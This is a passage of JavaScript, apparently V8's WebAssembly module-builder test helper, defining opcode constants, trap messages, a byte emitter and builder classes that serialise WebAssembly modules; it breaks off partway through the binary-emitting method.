      let kExprI16x8SConvertI8x16High = 0x88;
      let kExprI16x8UConvertI8x16Low = 0x89;
      let kExprI16x8UConvertI8x16High = 0x8a;
      let kExprI16x8Shl = 0x8b;
      let kExprI16x8ShrS = 0x8c;
      let kExprI16x8ShrU = 0x8d;
      let kExprI16x8Add = 0x8e;
      let kExprI16x8AddSatS = 0x8f;
      let kExprI16x8AddSatU = 0x90;
      let kExprI16x8Sub = 0x91;
      let kExprI16x8SubSatS = 0x92;
      let kExprI16x8SubSatU = 0x93;
      let kExprF64x2NearestInt = 0x94;
      let kExprI16x8Mul = 0x95;
      let kExprI16x8MinS = 0x96;
      let kExprI16x8MinU = 0x97;
      let kExprI16x8MaxS = 0x98;
      let kExprI16x8MaxU = 0x99;
      let kExprI16x8RoundingAverageU = 0x9b;
      let kExprI16x8ExtMulLowI8x16S = 0x9c;
      let kExprI16x8ExtMulHighI8x16S = 0x9d;
      let kExprI16x8ExtMulLowI8x16U = 0x9e;
      let kExprI16x8ExtMulHighI8x16U = 0x9f;
      let kExprI32x4Abs = 0xa0;
      let kExprI32x4Neg = 0xa1;
      let kExprI32x4AllTrue = 0xa3;
      let kExprI32x4BitMask = 0xa4;
      let kExprI32x4SConvertI16x8Low = 0xa7;
      let kExprI32x4SConvertI16x8High = 0xa8;
      let kExprI32x4UConvertI16x8Low = 0xa9;
      let kExprI32x4UConvertI16x8High = 0xaa;
      let kExprI32x4Shl = 0xab;
      let kExprI32x4ShrS = 0xac;
      let kExprI32x4ShrU = 0xad;
      let kExprI32x4Add = 0xae;
      let kExprI32x4Sub = 0xb1;
      let kExprI32x4Mul = 0xb5;
      let kExprI32x4MinS = 0xb6;
      let kExprI32x4MinU = 0xb7;
      let kExprI32x4MaxS = 0xb8;
      let kExprI32x4MaxU = 0xb9;
      let kExprI32x4DotI16x8S = 0xba;
      let kExprI32x4ExtMulLowI16x8S = 0xbc;
      let kExprI32x4ExtMulHighI16x8S = 0xbd;
      let kExprI32x4ExtMulLowI16x8U = 0xbe;
      let kExprI32x4ExtMulHighI16x8U = 0xbf;
      let kExprI64x2Abs = 0xc0;
      let kExprI64x2Neg = 0xc1;
      let kExprI64x2AllTrue = 0xc3;
      let kExprI64x2BitMask = 0xc4;
      let kExprI64x2SConvertI32x4Low = 0xc7;
      let kExprI64x2SConvertI32x4High = 0xc8;
      let kExprI64x2UConvertI32x4Low = 0xc9;
      let kExprI64x2UConvertI32x4High = 0xca;
      let kExprI64x2Shl = 0xcb;
      let kExprI64x2ShrS = 0xcc;
      let kExprI64x2ShrU = 0xcd;
      let kExprI64x2Add = 0xce;
      let kExprI64x2Sub = 0xd1;
      let kExprI64x2Mul = 0xd5;
      let kExprI64x2Eq = 0xd6;
      let kExprI64x2Ne = 0xd7;
      let kExprI64x2LtS = 0xd8;
      let kExprI64x2GtS = 0xd9;
      let kExprI64x2LeS = 0xda;
      let kExprI64x2GeS = 0xdb;
      let kExprI64x2ExtMulLowI32x4S = 0xdc;
      let kExprI64x2ExtMulHighI32x4S = 0xdd;
      let kExprI64x2ExtMulLowI32x4U = 0xde;
      let kExprI64x2ExtMulHighI32x4U = 0xdf;
      let kExprF32x4Abs = 0xe0;
      let kExprF32x4Neg = 0xe1;
      let kExprF32x4Sqrt = 0xe3;
      let kExprF32x4Add = 0xe4;
      let kExprF32x4Sub = 0xe5;
      let kExprF32x4Mul = 0xe6;
      let kExprF32x4Div = 0xe7;
      let kExprF32x4Min = 0xe8;
      let kExprF32x4Max = 0xe9;
      let kExprF32x4Pmin = 0xea;
      let kExprF32x4Pmax = 0xeb;
      let kExprF64x2Abs = 0xec;
      let kExprF64x2Neg = 0xed;
      let kExprF64x2Sqrt = 0xef;
      let kExprF64x2Add = 0xf0;
      let kExprF64x2Sub = 0xf1;
      let kExprF64x2Mul = 0xf2;
      let kExprF64x2Div = 0xf3;
      let kExprF64x2Min = 0xf4;
      let kExprF64x2Max = 0xf5;
      let kExprF64x2Pmin = 0xf6;
      let kExprF64x2Pmax = 0xf7;
      let kExprI32x4SConvertF32x4 = 0xf8;
      let kExprI32x4UConvertF32x4 = 0xf9;
      let kExprF32x4SConvertI32x4 = 0xfa;
      let kExprF32x4UConvertI32x4 = 0xfb;
      let kExprI32x4TruncSatF64x2SZero = 0xfc;
      let kExprI32x4TruncSatF64x2UZero = 0xfd;
      let kExprF64x2ConvertLowI32x4S = 0xfe;
      let kExprF64x2ConvertLowI32x4U = 0xff;
      // Relaxed SIMD.
      let kExprI8x16RelaxedSwizzle = wasmSignedLeb(0x100);
      let kExprI32x4RelaxedTruncF32x4S = wasmSignedLeb(0x101);
      let kExprI32x4RelaxedTruncF32x4U = wasmSignedLeb(0x102);
      let kExprI32x4RelaxedTruncF64x2SZero = wasmSignedLeb(0x103);
      let kExprI32x4RelaxedTruncF64x2UZero = wasmSignedLeb(0x104);
      let kExprF32x4Qfma = wasmSignedLeb(0x105);
      let kExprF32x4Qfms = wasmSignedLeb(0x106);
      let kExprF64x2Qfma = wasmSignedLeb(0x107);
      let kExprF64x2Qfms = wasmSignedLeb(0x108);
      let kExprI8x16RelaxedLaneSelect = wasmSignedLeb(0x109);
      let kExprI16x8RelaxedLaneSelect = wasmSignedLeb(0x10a);
      let kExprI32x4RelaxedLaneSelect = wasmSignedLeb(0x10b);
      let kExprI64x2RelaxedLaneSelect = wasmSignedLeb(0x10c);
      let kExprF32x4RelaxedMin = wasmSignedLeb(0x10d);
      let kExprF32x4RelaxedMax = wasmSignedLeb(0x10e);
      let kExprF64x2RelaxedMin = wasmSignedLeb(0x10f);
      let kExprF64x2RelaxedMax = wasmSignedLeb(0x110);
      let kExprI16x8RelaxedQ15MulRS = wasmSignedLeb(0x111);
      let kExprI16x8DotI8x16I7x16S = wasmSignedLeb(0x112);
      let kExprI32x4DotI8x16I7x16AddS = wasmSignedLeb(0x113);
      // Compilation hint constants.
      let kCompilationHintStrategyDefault = 0x00;
      let kCompilationHintStrategyLazy = 0x01;
      let kCompilationHintStrategyEager = 0x02;
      let kCompilationHintStrategyLazyBaselineEagerTopTier = 0x03;
      let kCompilationHintTierDefault = 0x00;
      let kCompilationHintTierBaseline = 0x01;
      let kCompilationHintTierOptimized = 0x02;
      let kTrapUnreachable = 0;
      let kTrapMemOutOfBounds = 1;
      let kTrapDivByZero = 2;
      let kTrapDivUnrepresentable = 3;
      let kTrapRemByZero = 4;
      let kTrapFloatUnrepresentable = 5;
      let kTrapTableOutOfBounds = 6;
      let kTrapFuncSigMismatch = 7;
      let kTrapUnalignedAccess = 8;
      let kTrapDataSegmentOutOfBounds = 9;
      let kTrapElementSegmentOutOfBounds = 10;
      let kTrapRethrowNull = 11;
      let kTrapArrayTooLarge = 12;
      let kTrapArrayOutOfBounds = 13;
      let kTrapNullDereference = 14;
      let kTrapIllegalCast = 15;
      let kAtomicWaitOk = 0;
      let kAtomicWaitNotEqual = 1;
      let kAtomicWaitTimedOut = 2;
      // Exception handling with exnref.
      let kCatchNoRef = 0x0;
      let kCatchRef = 0x1;
      let kCatchAllNoRef = 0x2;
      let kCatchAllRef = 0x3;
      let kTrapMsgs = [
        "unreachable", // --
        "memory access out of bounds", // --
        "divide by zero", // --
        "divide result unrepresentable", // --
        "remainder by zero", // --
        "float unrepresentable in integer range", // --
        "table index is out of bounds", // --
        "null function or function signature mismatch", // --
        "operation does not support unaligned accesses", // --
        "data segment out of bounds", // --
        "element segment out of bounds", // --
        "rethrowing null value", // --
        "requested new array is too large", // --
        "array element access out of bounds", // --
        "dereferencing a null pointer", // --
        "illegal cast", // --
      ];
      // This requires test/mjsunit/mjsunit.js.
      function assertTraps(trap, code) {
        assertThrows(
          code,
          WebAssembly.RuntimeError,
          new RegExp(kTrapMsgs[trap])
        );
      }
      function assertTrapsOneOf(traps, code) {
        const errorChecker = new RegExp(
          "(" + traps.map((trap) => kTrapMsgs[trap]).join("|") + ")"
        );
        assertThrows(code, WebAssembly.RuntimeError, errorChecker);
      }
      class Binary {
        constructor() {
          this.length = 0;
          this.buffer = new Uint8Array(8192);
        }
        ensure_space(needed) {
          if (this.buffer.length - this.length >= needed) return;
          let new_capacity = this.buffer.length * 2;
          while (new_capacity - this.length < needed) new_capacity *= 2;
          let new_buffer = new Uint8Array(new_capacity);
          new_buffer.set(this.buffer);
          this.buffer = new_buffer;
        }
        trunc_buffer() {
          return new Uint8Array(this.buffer.buffer, 0, this.length);
        }
        reset() {
          this.length = 0;
        }
        emit_u8(val) {
          this.ensure_space(1);
          this.buffer[this.length++] = val;
        }
        emit_u16(val) {
          this.ensure_space(2);
          this.buffer[this.length++] = val;
          this.buffer[this.length++] = val >> 8;
        }
        emit_u32(val) {
          this.ensure_space(4);
          this.buffer[this.length++] = val;
          this.buffer[this.length++] = val >> 8;
          this.buffer[this.length++] = val >> 16;
          this.buffer[this.length++] = val >> 24;
        }
        emit_leb_u(val, max_len) {
          this.ensure_space(max_len);
          for (let i = 0; i < max_len; ++i) {
            let v = val & 0xff;
            val = val >>> 7;
            if (val == 0) {
              this.buffer[this.length++] = v;
              return;
            }
            this.buffer[this.length++] = v | 0x80;
          }
          throw new Error("Leb value exceeds maximum length of " + max_len);
        }
        emit_u32v(val) {
          this.emit_leb_u(val, kMaxVarInt32Size);
        }
        emit_u64v(val) {
          this.emit_leb_u(val, kMaxVarInt64Size);
        }
        emit_bytes(data) {
          this.ensure_space(data.length);
          this.buffer.set(data, this.length);
          this.length += data.length;
        }
        emit_string(string) {
          // When testing illegal names, we pass a byte array directly.
          if (string instanceof Array) {
            this.emit_u32v(string.length);
            this.emit_bytes(string);
            return;
          }
          // This is the hacky way to convert a JavaScript string to a UTF8 encoded
          // string only containing single-byte characters.
          let string_utf8 = unescape(encodeURIComponent(string));
          this.emit_u32v(string_utf8.length);
          for (let i = 0; i < string_utf8.length; i++) {
            this.emit_u8(string_utf8.charCodeAt(i));
          }
        }
        emit_heap_type(heap_type) {
          this.emit_bytes(wasmSignedLeb(heap_type, kMaxVarInt32Size));
        }
        emit_type(type) {
          if (typeof type == "number") {
            this.emit_u8(type >= 0 ? type : type & kLeb128Mask);
          } else {
            this.emit_u8(type.opcode);
            if ("depth" in type) this.emit_u8(type.depth);
            this.emit_heap_type(type.heap_type);
          }
        }
        emit_init_expr(expr) {
          this.emit_bytes(expr);
          this.emit_u8(kExprEnd);
        }
        emit_header() {
          this.emit_bytes([
            kWasmH0,
            kWasmH1,
            kWasmH2,
            kWasmH3,
            kWasmV0,
            kWasmV1,
            kWasmV2,
            kWasmV3,
          ]);
        }
        emit_section(section_code, content_generator) {
          // Emit section name.
          this.emit_u8(section_code);
          // Emit the section to a temporary buffer: its full length isn't know yet.
          const section = new Binary();
          content_generator(section);
          // Emit section length.
          this.emit_u32v(section.length);
          // Copy the temporary buffer.
          // Avoid spread because {section} can be huge.
          this.emit_bytes(section.trunc_buffer());
        }
      }
      class WasmFunctionBuilder {
        // Encoding of local names: a string corresponds to a local name,
        // a number n corresponds to n undefined names.
        constructor(module, name, type_index, arg_names) {
          this.module = module;
          this.name = name;
          this.type_index = type_index;
          this.body = [];
          this.locals = [];
          this.local_names = arg_names;
          this.body_offset = undefined; // Not valid until module is serialized.
        }
        numLocalNames() {
          let num_local_names = 0;
          for (let loc_name of this.local_names) {
            if (typeof loc_name == "string") ++num_local_names;
          }
          return num_local_names;
        }
        exportAs(name) {
          this.module.addExport(name, this.index);
          return this;
        }
        exportFunc() {
          this.exportAs(this.name);
          return this;
        }
        setCompilationHint(strategy, baselineTier, topTier) {
          this.module.setCompilationHint(
            strategy,
            baselineTier,
            topTier,
            this.index
          );
          return this;
        }
        addBody(body) {
          checkExpr(body);
          // Store a copy of the body, and automatically add the end opcode.
          this.body = body.concat([kExprEnd]);
          return this;
        }
        addBodyWithEnd(body) {
          this.body = body;
          return this;
        }
        getNumLocals() {
          let total_locals = 0;
          for (let l of this.locals) {
            total_locals += l.count;
          }
          return total_locals;
        }
        addLocals(type, count, names) {
          this.locals.push({ type: type, count: count });
          names = names || [];
          if (names.length > count)
            throw new Error("too many locals names given");
          this.local_names.push(...names);
          if (count > names.length) this.local_names.push(count - names.length);
          return this;
        }
        end() {
          return this.module;
        }
      }
      class WasmGlobalBuilder {
        constructor(module, type, mutable, init) {
          this.module = module;
          this.type = type;
          this.mutable = mutable;
          this.init = init;
        }
        exportAs(name) {
          this.module.exports.push({
            name: name,
            kind: kExternalGlobal,
            index: this.index,
          });
          return this;
        }
      }
      function checkExpr(expr) {
        for (let b of expr) {
          if (typeof b !== "number" || (b & ~0xff) !== 0) {
            throw new Error(
              "invalid body (entries must be 8 bit numbers): " + expr
            );
          }
        }
      }
      class WasmTableBuilder {
        constructor(module, type, initial_size, max_size, init_expr) {
          // TODO(manoskouk): Add the table index.
          this.module = module;
          this.type = type;
          this.initial_size = initial_size;
          this.has_max = max_size !== undefined;
          this.max_size = max_size;
          this.init_expr = init_expr;
          this.has_init = init_expr !== undefined;
        }
        exportAs(name) {
          this.module.exports.push({
            name: name,
            kind: kExternalTable,
            index: this.index,
          });
          return this;
        }
      }
      function makeField(type, mutability) {
        if (typeof mutability != "boolean") {
          throw new Error("field mutability must be boolean");
        }
        return { type: type, mutability: mutability };
      }
      class WasmStruct {
        constructor(fields, is_final, supertype_idx) {
          if (!Array.isArray(fields)) {
            throw new Error("struct fields must be an array");
          }
          this.fields = fields;
          this.type_form = kWasmStructTypeForm;
          this.is_final = is_final;
          this.supertype = supertype_idx;
        }
      }
      class WasmArray {
        constructor(type, mutability, is_final, supertype_idx) {
          this.type = type;
          this.mutability = mutability;
          this.type_form = kWasmArrayTypeForm;
          this.is_final = is_final;
          this.supertype = supertype_idx;
        }
      }
      class WasmElemSegment {
        constructor(table, offset, type, elements, is_decl) {
          this.table = table;
          this.offset = offset;
          this.type = type;
          this.elements = elements;
          this.is_decl = is_decl;
          // Invariant checks.
          if ((table === undefined) != (offset === undefined)) {
            throw new Error("invalid element segment");
          }
          for (let elem of elements) {
            if ((typeof elem == "number") != (type === undefined)) {
              throw new Error("invalid element");
            }
          }
        }
        is_active() {
          return this.table !== undefined;
        }
        is_passive() {
          return this.table === undefined && !this.is_decl;
        }
        is_declarative() {
          return this.table === undefined && this.is_decl;
        }
        expressions_as_elements() {
          return this.type !== undefined;
        }
      }
      class WasmModuleBuilder {
        constructor() {
          this.types = [];
          this.imports = [];
          this.exports = [];
          this.stringrefs = [];
          this.globals = [];
          this.tables = [];
          this.tags = [];
          this.memories = [];
          this.functions = [];
          this.compilation_hints = [];
          this.element_segments = [];
          this.data_segments = [];
          this.explicit = [];
          this.rec_groups = [];
          this.num_imported_funcs = 0;
          this.num_imported_globals = 0;
          this.num_imported_tables = 0;
          this.num_imported_tags = 0;
          return this;
        }
        addStart(start_index) {
          this.start_index = start_index;
          return this;
        }
        addMemory(min, max, shared) {
          // Note: All imported memories are added before declared ones (see the check
          // in {addImportedMemory}).
          const imported_memories = this.imports.filter(
            (i) => i.kind == kExternalMemory
          ).length;
          const mem_index = imported_memories + this.memories.length;
          this.memories.push({
            min: min,
            max: max,
            shared: shared || false,
            is_memory64: false,
          });
          return mem_index;
        }
        addMemory64(min, max, shared) {
          // Note: All imported memories are added before declared ones (see the check
          // in {addImportedMemory}).
          const imported_memories = this.imports.filter(
            (i) => i.kind == kExternalMemory
          ).length;
          const mem_index = imported_memories + this.memories.length;
          this.memories.push({
            min: min,
            max: max,
            shared: shared || false,
            is_memory64: true,
          });
          return mem_index;
        }
        addExplicitSection(bytes) {
          this.explicit.push(bytes);
          return this;
        }
        stringToBytes(name) {
          var result = new Binary();
          result.emit_u32v(name.length);
          for (var i = 0; i < name.length; i++) {
            result.emit_u8(name.charCodeAt(i));
          }
          return result.trunc_buffer();
        }
        createCustomSection(name, bytes) {
          name = this.stringToBytes(name);
          var section = new Binary();
          section.emit_u8(0);
          section.emit_u32v(name.length + bytes.length);
          section.emit_bytes(name);
          section.emit_bytes(bytes);
          return section.trunc_buffer();
        }
        addCustomSection(name, bytes) {
          this.explicit.push(this.createCustomSection(name, bytes));
        }
        // We use {is_final = true} so that the MVP syntax is generated for
        // signatures.
        addType(type, supertype_idx = kNoSuperType, is_final = true) {
          var pl = type.params.length; // should have params
          var rl = type.results.length; // should have results
          var type_copy = {
            params: type.params,
            results: type.results,
            is_final: is_final,
            supertype: supertype_idx,
          };
          this.types.push(type_copy);
          return this.types.length - 1;
        }
        addLiteralStringRef(str) {
          this.stringrefs.push(str);
          return this.stringrefs.length - 1;
        }
        addStruct(fields, supertype_idx = kNoSuperType, is_final = false) {
          this.types.push(new WasmStruct(fields, is_final, supertype_idx));
          return this.types.length - 1;
        }
        addArray(
          type,
          mutability,
          supertype_idx = kNoSuperType,
          is_final = false
        ) {
          this.types.push(
            new WasmArray(type, mutability, is_final, supertype_idx)
          );
          return this.types.length - 1;
        }
        static defaultFor(type) {
          switch (type) {
            case kWasmI32:
              return wasmI32Const(0);
            case kWasmI64:
              return wasmI64Const(0);
            case kWasmF32:
              return wasmF32Const(0.0);
            case kWasmF64:
              return wasmF64Const(0.0);
            case kWasmS128:
              return [kSimdPrefix, kExprS128Const, ...new Array(16).fill(0)];
            default:
              if (typeof type != "number" && type.opcode != kWasmRefNull) {
                throw new Error("Non-defaultable type");
              }
              let heap_type = typeof type == "number" ? type : type.heap_type;
              return [
                kExprRefNull,
                ...wasmSignedLeb(heap_type, kMaxVarInt32Size),
              ];
          }
        }
        addGlobal(type, mutable, init) {
          if (init === undefined) init = WasmModuleBuilder.defaultFor(type);
          checkExpr(init);
          let glob = new WasmGlobalBuilder(this, type, mutable, init);
          glob.index = this.globals.length + this.num_imported_globals;
          this.globals.push(glob);
          return glob;
        }
        addTable(
          type,
          initial_size,
          max_size = undefined,
          init_expr = undefined
        ) {
          if (
            type == kWasmI32 ||
            type == kWasmI64 ||
            type == kWasmF32 ||
            type == kWasmF64 ||
            type == kWasmS128 ||
            type == kWasmVoid
          ) {
            throw new Error("Tables must be of a reference type");
          }
          if (init_expr != undefined) checkExpr(init_expr);
          let table = new WasmTableBuilder(
            this,
            type,
            initial_size,
            max_size,
            init_expr
          );
          table.index = this.tables.length + this.num_imported_tables;
          this.tables.push(table);
          return table;
        }
        addTag(type) {
          let type_index = typeof type == "number" ? type : this.addType(type);
          let tag_index = this.tags.length + this.num_imported_tags;
          this.tags.push(type_index);
          return tag_index;
        }
        addFunction(name, type, arg_names) {
          arg_names = arg_names || [];
          let type_index = typeof type == "number" ? type : this.addType(type);
          let num_args = this.types[type_index].params.length;
          if (num_args < arg_names.length)
            throw new Error("too many arg names provided");
          if (num_args > arg_names.length)
            arg_names.push(num_args - arg_names.length);
          let func = new WasmFunctionBuilder(this, name, type_index, arg_names);
          func.index = this.functions.length + this.num_imported_funcs;
          this.functions.push(func);
          return func;
        }
        addImport(module, name, type) {
          if (this.functions.length != 0) {
            throw new Error(
              "Imported functions must be declared before local ones"
            );
          }
          let type_index = typeof type == "number" ? type : this.addType(type);
          this.imports.push({
            module: module,
            name: name,
            kind: kExternalFunction,
            type_index: type_index,
          });
          return this.num_imported_funcs++;
        }
        addImportedGlobal(module, name, type, mutable = false) {
          if (this.globals.length != 0) {
            throw new Error(
              "Imported globals must be declared before local ones"
            );
          }
          let o = {
            module: module,
            name: name,
            kind: kExternalGlobal,
            type: type,
            mutable: mutable,
          };
          this.imports.push(o);
          return this.num_imported_globals++;
        }
        addImportedMemory(
          module,
          name,
          initial = 0,
          maximum,
          shared,
          is_memory64
        ) {
          if (this.memories.length !== 0) {
            throw new Error(
              "Add imported memories before declared memories to avoid messing " +
                "up the indexes"
            );
          }
          let mem_index = this.imports.filter(
            (i) => i.kind == kExternalMemory
          ).length;
          let o = {
            module: module,
            name: name,
            kind: kExternalMemory,
            initial: initial,
            maximum: maximum,
            shared: !!shared,
            is_memory64: !!is_memory64,
          };
          this.imports.push(o);
          return mem_index;
        }
        addImportedTable(module, name, initial, maximum, type) {
          if (this.tables.length != 0) {
            throw new Error(
              "Imported tables must be declared before local ones"
            );
          }
          let o = {
            module: module,
            name: name,
            kind: kExternalTable,
            initial: initial,
            maximum: maximum,
            type: type || kWasmFuncRef,
          };
          this.imports.push(o);
          return this.num_imported_tables++;
        }
        addImportedTag(module, name, type) {
          if (this.tags.length != 0) {
            throw new Error("Imported tags must be declared before local ones");
          }
          let type_index = typeof type == "number" ? type : this.addType(type);
          let o = {
            module: module,
            name: name,
            kind: kExternalTag,
            type_index: type_index,
          };
          this.imports.push(o);
          return this.num_imported_tags++;
        }
        addExport(name, index) {
          this.exports.push({
            name: name,
            kind: kExternalFunction,
            index: index,
          });
          return this;
        }
        addExportOfKind(name, kind, index) {
          if (
            index === undefined &&
            kind != kExternalTable &&
            kind != kExternalMemory
          ) {
            throw new Error(
              "Index for exports other than tables/memories must be provided"
            );
          }
          if (index !== undefined && typeof index != "number") {
            throw new Error("Index for exports must be a number");
          }
          this.exports.push({ name: name, kind: kind, index: index });
          return this;
        }
        setCompilationHint(strategy, baselineTier, topTier, index) {
          this.compilation_hints[index] = {
            strategy: strategy,
            baselineTier: baselineTier,
            topTier: topTier,
          };
          return this;
        }
        // TODO(manoskouk): Refactor this to use initializer expression for {offset}.
        addDataSegment(offset, data, is_global = false, memory_index = 0) {
          this.data_segments.push({
            offset: offset,
            data: data,
            is_global: is_global,
            is_active: true,
            mem_index: memory_index,
          });
          return this.data_segments.length - 1;
        }
        addPassiveDataSegment(data) {
          this.data_segments.push({ data: data, is_active: false });
          return this.data_segments.length - 1;
        }
        exportMemoryAs(name, memory_index) {
          if (memory_index === undefined) {
            const num_memories =
              this.memories.length +
              this.imports.filter((i) => i.kind == kExternalMemory).length;
            if (num_memories !== 1) {
              throw new Error(
                "Pass memory index to 'exportMemoryAs' if there is not exactly " +
                  "one memory imported or declared."
              );
            }
            memory_index = 0;
          }
          this.exports.push({
            name: name,
            kind: kExternalMemory,
            index: memory_index,
          });
        }
        // {offset} is a constant expression.
        // If {type} is undefined, then {elements} are function indices. Otherwise,
        // they are constant expressions.
        addActiveElementSegment(table, offset, elements, type) {
          checkExpr(offset);
          if (type != undefined) {
            for (let element of elements) checkExpr(element);
          }
          this.element_segments.push(
            new WasmElemSegment(table, offset, type, elements, false)
          );
          return this.element_segments.length - 1;
        }
        // If {type} is undefined, then {elements} are function indices. Otherwise,
        // they are constant expressions.
        addPassiveElementSegment(elements, type) {
          if (type != undefined) {
            for (let element of elements) checkExpr(element);
          }
          this.element_segments.push(
            new WasmElemSegment(undefined, undefined, type, elements, false)
          );
          return this.element_segments.length - 1;
        }
        // If {type} is undefined, then {elements} are function indices. Otherwise,
        // they are constant expressions.
        addDeclarativeElementSegment(elements, type) {
          if (type != undefined) {
            for (let element of elements) checkExpr(element);
          }
          this.element_segments.push(
            new WasmElemSegment(undefined, undefined, type, elements, true)
          );
          return this.element_segments.length - 1;
        }
        appendToTable(array) {
          for (let n of array) {
            if (typeof n != "number")
              throw new Error(
                "invalid table (entries have to be numbers): " + array
              );
          }
          if (this.tables.length == 0) {
            this.addTable(kWasmAnyFunc, 0);
          }
          // Adjust the table to the correct size.
          let table = this.tables[0];
          const base = table.initial_size;
          const table_size = base + array.length;
          table.initial_size = table_size;
          if (table.has_max && table_size > table.max_size) {
            table.max_size = table_size;
          }
          return this.addActiveElementSegment(0, wasmI32Const(base), array);
        }
        setTableBounds(min, max = undefined) {
          if (this.tables.length != 0) {
            throw new Error(
              "The table bounds of table '0' have already been set."
            );
          }
          this.addTable(kWasmAnyFunc, min, max);
          return this;
        }
        startRecGroup() {
          this.rec_groups.push({ start: this.types.length, size: 0 });
        }
        endRecGroup() {
          if (this.rec_groups.length == 0) {
            throw new Error(
              "Did not start a recursive group before ending one"
            );
          }
          let last_element = this.rec_groups[this.rec_groups.length - 1];
          if (last_element.size != 0) {
            throw new Error(
              "Did not start a recursive group before ending one"
            );
          }
          last_element.size = this.types.length - last_element.start;
        }
        setName(name) {
          this.name = name;
          return this;
        }
        toBuffer(debug = false, typeToBuffer = false) {
          let binary = new Binary();
          let wasm = this;
          // Add header.
          binary.emit_header();
          const headerLen = binary.length;
          // Add type section.
          if (wasm.types.length > 0) {
            if (debug) print("emitting types @ " + binary.length);
            binary.emit_section(kTypeSectionCode, (section) => {
              let length_with_groups = wasm.types.length;
              for (let group of wasm.rec_groups) {
                length_with_groups -= group.size - 1;
              }
              section.emit_u32v(length_with_groups);
              let rec_group_index = 0;
              for (let i = 0; i < wasm.types.length; i++) {
                if (
                  rec_group_index < wasm.rec_groups.length &&
                  wasm.rec_groups[rec_group_index].start == i
                ) {
                  section.emit_u8(kWasmRecursiveTypeGroupForm);
                  section.emit_u32v(wasm.rec_groups[rec_group_index].size);
                  rec_group_index++;
                }
                let type = wasm.types[i];
                if (type.supertype != kNoSuperType) {
                  section.emit_u8(
                    type.is_final ? kWasmSubtypeFinalForm : kWasmSubtypeForm
                  );
                  section.emit_u8(1); // supertype count
                  section.emit_u32v(type.supertype);
                } else if (!type.is_final) {
                  section.emit_u8(kWasmSubtypeForm);
                  section.emit_u8(0); // no supertypes
                }
                if (type instanceof WasmStruct) {
                  section.emit_u8(kWasmStructTypeForm);
                  section.emit_u32v(type.fields.length);
                  for (let field of type.fields) {
                    section.emit_type(field.type);
                    section.emit_u8(field.mutability ? 1 : 0);
                  }
                } else if (type instanceof WasmArray) {
                  section.emit_u8(kWasmArrayTypeForm);
                  section.emit_type(type.type);
                  section.emit_u8(type.mutability ? 1 : 0);
                } else {
                  section.emit_u8(kWasmFunctionTypeForm);
                  section.emit_u32v(type.params.length);
                  for (let param of type.params) {
                    section.emit_type(param);
                  }
                  section.emit_u32v(type.results.length);
                  for (let result of type.results) {
                    section.emit_type(result);
                  }
                }
              }
            });
            if (typeToBuffer) {
              console.log(headerLen);
              return binary.trunc_buffer().slice(headerLen);
            }
          }
          // Add imports section.
          if (wasm.imports.length > 0) {
            if (debug) print("emitting imports @ " + binary.length);
            binary.emit_section(kImportSectionCode, (section) => {
              section.emit_u32v(wasm.imports.length);
              for (let imp of wasm.imports) {
                section.emit_string(imp.module);
                section.emit_string(imp.name || "");
                section.emit_u8(imp.kind);
                if (imp.kind == kExternalFunction) {
                  section.emit_u32v(imp.type_index);
                } else if (imp.kind == kExternalGlobal) {
                  section.emit_type(imp.type);
                  section.emit_u8(imp.mutable);
                } else if (imp.kind == kExternalMemory) {
                  const has_max = imp.maximum !== undefined;
                  const is_shared = !!imp.shared;
                  const is_memory64 = !!imp.is_memory64;
                  let limits_byte =
                    (is_memory64 ? 4 : 0) |
                    (is_shared ? 2 : 0) |
                    (has_max ? 1 : 0);
                  section.emit_u8(limits_byte);
                  let emit = (val) =>
                    is_memory64
                      ? section.emit_u64v(val)
                      : section.emit_u32v(val);
                  emit(imp.initial);
                  if (has_max) emit(imp.maximum);
                } else if (imp.kind == kExternalTable) {
                  section.emit_type(imp.type);
                  var has_max = typeof imp.maximum != "undefined";
                  section.emit_u8(has_max ? 1 : 0); // flags
                  section.emit_u32v(imp.initial); // initial
                  if (has_max) section.emit_u32v(imp.maximum); // maximum
                } else if (imp.kind == kExternalTag) {
                  section.emit_u32v(kExceptionAttribute);
                  section.emit_u32v(imp.type_index);
                } else {
                  throw new Error(
                    "unknown/unsupported import kind " + imp.kind
                  );
                }
              }
            });
          }
          // Add functions declarations.
          if (wasm.functions.length > 0) {
            if (debug) print("emitting function decls @ " + binary.length);
            binary.emit_section(kFunctionSectionCode, (section) => {
              section.emit_u32v(wasm.functions.length);
              for (let func of wasm.functions) {
                section.emit_u32v(func.type_index);
              }
            });
          }
          // Add table section.
          if (wasm.tables.length > 0) {
            if (debug) print("emitting tables @ " + binary.length);
            binary.emit_section(kTableSectionCode, (section) => {
              section.emit_u32v(wasm.tables.length);
              for (let table of wasm.tables) {
                if (table.has_init) {
                  section.emit_u8(0x40); // "has initializer"
                  section.emit_u8(0x00); // Reserved byte.
                }
                section.emit_type(table.type);
                section.emit_u8(table.has_max);
                section.emit_u32v(table.initial_size);
                if (table.has_max) section.emit_u32v(table.max_size);
                if (table.has_init) section.emit_init_expr(table.init_expr);
              }
            });
          }
          // Add memory section.
          if (wasm.memories.length > 0) {
            if (debug) print("emitting memories @ " + binary.length);
            binary.emit_section(kMemorySectionCode, (section) => {
              section.emit_u32v(wasm.memories.length);
              for (let memory of wasm.memories) {
                const has_max = memory.max !== undefined;
                const is_shared = !!memory.shared;
                const is_memory64 = !!memory.is_memory64;
                let limits_byte =
                  (is_memory64 ? 4 : 0) |
                  (is_shared ? 2 : 0) |
                  (has_max ? 1 : 0);
                section.emit_u8(limits_byte);
                let emit = (val) =>
                  is_memory64 ? section.emit_u64v(val) : section.emit_u32v(val);
                emit(memory.min);
                if (has_max) emit(memory.max);
              }
            });
          }
          // Add tag section.
          if (wasm.tags.length > 0) {
            if (debug) print("emitting tags @ " + binary.length);
            binary.emit_section(kTagSectionCode, (section) => {
              section.emit_u32v(wasm.tags.length);
              for (let type_index of wasm.tags) {
                section.emit_u32v(kExceptionAttribute);
                section.emit_u32v(type_index);
              }
            });
          }
          // Add stringref section.
          if (wasm.stringrefs.length > 0) {
            if (debug) print("emitting stringrefs @ " + binary.length);
            binary.emit_section(kStringRefSectionCode, (section) => {
              section.emit_u32v(0);
              section.emit_u32v(wasm.stringrefs.length);
              for (let str of wasm.stringrefs) {
                section.emit_string(str);
              }
            });
          }
          // Add global section.
          if (wasm.globals.length > 0) {
            if (debug) print("emitting globals @ " + binary.length);
            binary.emit_section(kGlobalSectionCode, (section) => {
              section.emit_u32v(wasm.globals.length);
              for (let global of wasm.globals) {
                section.emit_type(global.type);
                section.emit_u8(global.mutable);
                section.emit_init_expr(global.init);
              }
            });
          }
          // Add export table.
          var exports_count = wasm.exports.length;
